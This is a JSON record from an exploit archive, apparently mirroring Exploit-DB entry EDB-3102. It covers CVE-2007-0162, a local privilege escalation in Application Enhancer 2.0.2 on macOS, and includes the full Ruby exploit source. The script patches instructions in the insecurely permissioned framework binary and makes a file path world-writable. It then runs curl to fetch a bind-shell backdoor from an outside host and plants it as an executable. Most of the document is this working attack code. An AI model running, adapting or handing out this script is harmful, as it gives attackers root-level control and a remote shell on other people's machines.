{"exploit":{"id":"EDB-3102","name":"Application Enhancer (APE) 2.0.2 - Local Privilege Escalation (LPE)","description":"Application Enhancer (APE) 2.0.2 - Local Privilege Escalation (LPE)","cves":["CVE-2007-0162"],"author":"MoAB","published":"2007-01-08","platform":"osx","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3102","path":"exploits/osx/local/3102.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3102.rb","vulnerabilities":[{"id":"CVE-2007-0162","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unsanity Application Enhancer (APE) 2.0.2 installs with insecure permissions for the (1) ApplicationEnhancer binary and the (2) /Library/Frameworks/ApplicationEnhancer.framework directory, which allows local users to gain privileges by modifying or replacing the binary or library files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0162","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:L/AC:L/Au:S/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0162"},"updatedAt":"2024-08-07T12:12:16.463Z","retrievedAt":"2026-11-27T01:06:58.426Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3102.png?v=2","url":"https://exploitbin.com/exploits/EDB-3102","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3102/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3102/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/ruby\n# Exploit Of The Apes: A practical pwnage for Application (UN)Enhancer aka APU\n# (c) 2006 LMH <lmh [at] info-pull.com> and Johnny Pwnerseed.\n#\n# This goes dedicated to #macdev. For the childish flaming and great brain lag.\n#\n# Lesson: Don't talk about stuff you have NFC about. And don't insult\n# people. Once you do it, and get pwned, total lulz ensues ;o(\n#\n# MD5 (ApplicationEnhancer) = cf9bf1fa74f8298f09aedce38c72a7da\n# at offset 27512   0x807d0014      ->  0x38600000\n# at offset 115586  0x8b4614890424  ->  0x31c090890424\n#\n\nrequire 'fileutils'\n\n# Define offsets to opcodes to be patched\nPATCH_INSTRUCTIONS =  [\n                        [ 27512,  \"\\x38\\x60\\x00\\x00\"         ],\n                        [ 115586, \"\\x31\\xc0\\x90\\x89\\x04\\x24\" ]\n                      ]\n\nBACKDOO_URL = \"http://projects.info-pull.com/moab/bug-files/sample-back\" # must be fat binary, sample bind shell\nPATH_TO_APE = \"/Library/Frameworks/ApplicationEnhancer.framework\"\nPATH_TO_APU = \"/Library/Frameworks/ApplicationUnenhancer.framework\"\n\npath_to_bozo  = (ARGV[0] || File.join(PATH_TO_APE,\"Versions/Current/ApplicationEnhancer\"))\n\nputs \"++ Starting: #{PATH_TO_APE}\"\nputs \"++ Back-up:  #{PATH_TO_APU}\"\n# Move the original framework to back-up, copy contents back, set permissions.\n# To repair:\n# rm -rf /Library/Frameworks/ApplicationEnhancer.framework\n# mv /Library/Frameworks/ApplicationUnenhancer.framework \\\n# /Library/Frameworks/ApplicationEnhancer.framework\nif File.exists?(PATH_TO_APE)\n  unless File.exists?(PATH_TO_APU)\n    FileUtils.mv(PATH_TO_APE, PATH_TO_APU)\n    FileUtils.cp_r(PATH_TO_APU, PATH_TO_APE)\n    system \"chmod u+w #{File.join(PATH_TO_APE, \"Versions/A/ApplicationEnhancer\")}\"\n  end\nend\n\n# Patching poor Apu (we could just replace the binary, but this is cooler as the\n# guys at Unsanity, LLC think they can dropriv and forget all about flawed code...).\nbozo    = File.read(path_to_bozo)\n\nputs \"++ Patch: #{path_to_bozo}\"\nPATCH_INSTRUCTIONS.each do |patch|\n  offset  = patch[0] # start offset\n  bindata = patch[1] # patch bytes\n  bcount  = 0\n\n  puts \"++ Patching stage: offset=#{offset} patch size=#{bindata.size}\"\n  bindata.split(//).each do |patch_byte|\n    target_offset = offset + bcount\n    printf \"++ Patching byte at %x\\n\", target_offset\n    bozo[target_offset] = patch_byte\n    bcount += 1\n  end\nend\n\nputs \"++ Binary pwnage done. Writing patched data...\"\nu_bozo = File.new(File.join(PATH_TO_APE, \"/Versions/A/ApplicationEnhancer\"), \"w\")\nu_bozo.write(bozo)\nu_bozo.close\nputs \"++ Done (#{bozo.size} bytes). Planting backdoor aped binary...\"\n\naped_path = File.join(PATH_TO_APE, \"Resources/aped\")\nsystem \"chmod a+rxw #{aped_path}\" # let everyone backdoor it afterwards, be social and share!\nsystem \"curl #{BACKDOO_URL} -o #{aped_path}\"\nsystem \"chmod a+x #{aped_path}\"\n\nputs \"++ Finished.\"\n\n# milw0rm.com [2007-01-08]","sha256":"c0c5bbd0ff317821fe33426c3b2ebb5f540e955359e1475a43b4d90e931af70c","bytes":2837,"fetchedAt":"2026-11-27T01:06:56.697Z","encoding":"utf-8 (display only; download retains original bytes)"}